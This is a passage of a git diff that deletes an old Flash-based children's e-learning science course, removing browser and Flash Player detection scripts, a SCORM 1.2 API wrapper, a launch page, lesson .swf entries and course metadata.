-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/js/browser-detection.js b/Explore/elr/Science/S0002/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Science/S0002/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Science/S0002/js/fpi-init.js b/Explore/elr/Science/S0002/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Science/S0002/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/js/fpi-main.js b/Explore/elr/Science/S0002/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Science/S0002/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/js/fpi-swap.js b/Explore/elr/Science/S0002/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Science/S0002/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/js/fpi-writevb.js b/Explore/elr/Science/S0002/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Science/S0002/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Science/S0002/js/scorm_api.js b/Explore/elr/Science/S0002/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Science/S0002/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/launch.html b/Explore/elr/Science/S0002/launch.html
deleted file mode 100755
index f90264b..0000000
--- a/Explore/elr/Science/S0002/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>E-Learning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Science/S0002/media/lesson_00/pg01.swf b/Explore/elr/Science/S0002/media/lesson_00/pg01.swf
deleted file mode 100755
index 0b9f91c..0000000
--- a/Explore/elr/Science/S0002/media/lesson_00/pg01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_00/pg02.swf b/Explore/elr/Science/S0002/media/lesson_00/pg02.swf
deleted file mode 100755
index 543d40c..0000000
--- a/Explore/elr/Science/S0002/media/lesson_00/pg02.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg01.swf b/Explore/elr/Science/S0002/media/lesson_01/pg01.swf
deleted file mode 100755
index 09ffc61..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg02.swf b/Explore/elr/Science/S0002/media/lesson_01/pg02.swf
deleted file mode 100755
index d0323ad..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg02.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg03.swf b/Explore/elr/Science/S0002/media/lesson_01/pg03.swf
deleted file mode 100755
index 60ad681..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg03.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg04.swf b/Explore/elr/Science/S0002/media/lesson_01/pg04.swf
deleted file mode 100755
index d94b4c7..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg05.swf b/Explore/elr/Science/S0002/media/lesson_01/pg05.swf
deleted file mode 100755
index 9e5f723..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg05.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg06.swf b/Explore/elr/Science/S0002/media/lesson_01/pg06.swf
deleted file mode 100755
index d755564..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg06.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_01/pg07.swf b/Explore/elr/Science/S0002/media/lesson_01/pg07.swf
deleted file mode 100755
index f14fd7b..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg07.swf
+++ /dev/null
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deleted file mode 100755
index c3f7d16..0000000
--- a/Explore/elr/Science/S0002/media/lesson_01/pg08.swf
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diff --git a/Explore/elr/Science/S0002/media/lesson_02/pg01.swf b/Explore/elr/Science/S0002/media/lesson_02/pg01.swf
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index 8a39e54..0000000
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deleted file mode 100755
index 58ea88d..0000000
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diff --git a/Explore/elr/Science/S0002/media/lesson_02/pg03.swf b/Explore/elr/Science/S0002/media/lesson_02/pg03.swf
deleted file mode 100755
index 6609dd3..0000000
--- a/Explore/elr/Science/S0002/media/lesson_02/pg03.swf
+++ /dev/null
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deleted file mode 100755
index 4f21037..0000000
--- a/Explore/elr/Science/S0002/media/lesson_02/pg04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/media/lesson_03/pg01.swf b/Explore/elr/Science/S0002/media/lesson_03/pg01.swf
deleted file mode 100755
index 67b7917..0000000
--- a/Explore/elr/Science/S0002/media/lesson_03/pg01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/metadata.xml b/Explore/elr/Science/S0002/metadata.xml
deleted file mode 100755
index c249e02..0000000
--- a/Explore/elr/Science/S0002/metadata.xml
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@@ -1,155 +0,0 @@
-<?xml version="1.0"?>
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-     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
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-      <aggregationlevel>
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-         <value>
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-         <langstring>1.1</langstring>
-      </version>
-      <status>
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-         </source>
-         <value>
-            <langstring xml:lang="x-none">Final</langstring>
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-      <contribute>
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-            </source>
-            <value>
-               <langstring xml:lang="x-none">Author</langstring>
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-         </role>
-         <centity>
-            <vcard>BEGIN:vCard ORG:ADL Co-Lab END:vCard</vcard>
-         </centity>
-         <date>
-            <datetime>2003-01-30</datetime>
-         </date>
-      </contribute>
-   </lifecycle>
-   
-   <metametadata>
-      <metadatascheme>ADL SCORM 1.2</metadatascheme>
-   </metametadata>
-   
-   <technical>
-      <format>Flash/HTML</format>
-      <size>11111111</size>
-      <location>default.html</location>
-      <requirement>
-         <type>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser</langstring>
-            </value>
-         </type>
-         <name>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Microsoft Internet Explorer</langstring>
-            </value>
-         </name>
-      <minimumversion>5.0</minimumversion>
-      </requirement>
-      
-      <requirement>
-         <type>          
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser Plug-in</langstring>
-            </value>
-         </type>
-         <name>         
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Flash Plug-in</langstring>
-            </value>
